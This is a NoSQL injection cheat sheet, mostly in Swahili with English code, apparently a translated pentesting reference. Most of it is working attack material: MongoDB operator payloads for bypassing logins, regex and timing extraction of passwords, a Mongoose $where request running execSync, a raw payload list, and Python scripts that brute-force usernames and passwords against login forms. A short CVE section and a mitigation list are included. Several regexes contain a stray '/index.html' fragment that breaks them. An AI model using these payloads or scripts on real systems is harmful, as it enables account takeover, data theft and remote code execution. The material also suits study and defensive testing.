NoSQL injection

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Exploit

Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka parameter=foo hadi parameter[arrName]=foo.

Ushambuliaji unategemea kuongeza Operator:

bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Mipango ya kuzunguka uthibitishaji wa msingi

Kutumia si sawa ($ne) au kubwa ($gt)

bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

javascript
query = { $where: `this.username == '${username}'` }

Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama admin' || 'a'=='a, na kufanya uchunguzi urudishe hati zote kwa kutimiza hali hiyo kwa tautology ('a'=='a'). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama ' or 1=1-- - linatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano kama hizo zinaweza kufanywa kwa kutumia ingizo kama ' || 1==1//, ' || 1==1%00, au admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Extract length information

bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Kwa kutumia opereta $func ya maktaba ya MongoLite (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi isiyo na mipaka kama ilivyo katika ripoti hii.

python
"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Pata taarifa kutoka kwa mkusanyiko tofauti

Inawezekana kutumia $lookup kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa mkusanyiko tofauti unaoitwa users na kupata matokeo ya kila ingizo lenye nenosiri linalolingana na wildcard.

KUMBUKA: $lookup na kazi nyingine za kujumlisha zinapatikana tu ikiwa kazi ya aggregate() ilitumika kufanya utafutaji badala ya kazi za kawaida za find() au findOne().

json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Injiza throw new Error(JSON.stringify(this)) katika kipengele cha $where ili kutoa hati kamili kupitia makosa ya JavaScript ya upande wa seva (inahitaji programu kutoa makosa ya database). Mfano:

json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

CVE Mpya & Matukio ya Uhalifu wa Kweli (2023-2025)

Rocket.Chat isiyo na uthibitisho blind NoSQLi – CVE-2023-28359

Toleo ≤ 6.0.0 lilifunua njia ya Meteor listEmojiCustom ambayo ilituma kitu cha selector kinachodhibitiwa na mtumiaji moja kwa moja kwa find(). Kwa kuingiza waendeshaji kama {"$where":"sleep(2000)||true"} mshambuliaji asiye na uthibitisho angeweza kujenga oracle ya wakati na kuhamasisha hati. Kosa hili lilirekebishwa katika 6.0.1 kwa kuthibitisha umbo la selector na kuondoa waendeshaji hatari.

Mongoose populate().match $where RCE – CVE-2024-53900 & CVE-2025-23061

Wakati populate() inapotumika na chaguo la match, Mongoose (≤ 8.8.2) ilikopi kitu hicho kama ilivyo kabla ya kutuma kwa MongoDB. Kutoa $where hivyo kulifanya JavaScript ifanye kazi ndani ya Node.js hata kama JS ya upande wa seva ilikuwa imezimwa kwenye MongoDB:

js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author });   // RCE

Kipande cha kwanza (8.8.3) kilizuia $where ya kiwango cha juu, lakini kuikatia chini ya $or kulipita kichujio, na kusababisha CVE-2025-23061. Tatizo lilirekebishwa kabisa katika 8.9.5, na chaguo jipya la muunganisho sanitizeFilter: true lilianzishwa.

GraphQL → Mchanganyiko wa Mongo

Wakandarasi wanaosambaza args.filter moja kwa moja katika collection.find() bado wana hatari:

graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Mitigations: recursively strip keys that start with $, map allowed operators explicitly, or validate with schema libraries (Joi, Zod).

Defensive Cheat-Sheet (updated 2025)

  1. Ondoa au kata funguo yoyote inayohanza na $ (express-mongo-sanitize, mongo-sanitize, Mongoose sanitizeFilter:true).
  2. Zima JavaScript ya upande wa seva kwenye MongoDB inayohudumiwa mwenyewe (--noscripting, default katika v7.0+).
  3. Prefer $expr na wajenzi wa aggregation badala ya $where.
  4. Thibitisha aina za data mapema (Joi/Ajv) na kata arrays ambapo scalars zinatarajiwa ili kuepuka hila za [$ne].
  5. Kwa GraphQL, tafsiri hoja za filter kupitia orodha ya ruhusa; kamwe usieneze vitu visivyoaminika.

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

python
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

Hii ni script rahisi ambayo unaweza kubadilisha lakini zana za awali zinaweza pia kufanya kazi hii.

python
import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Tools

References

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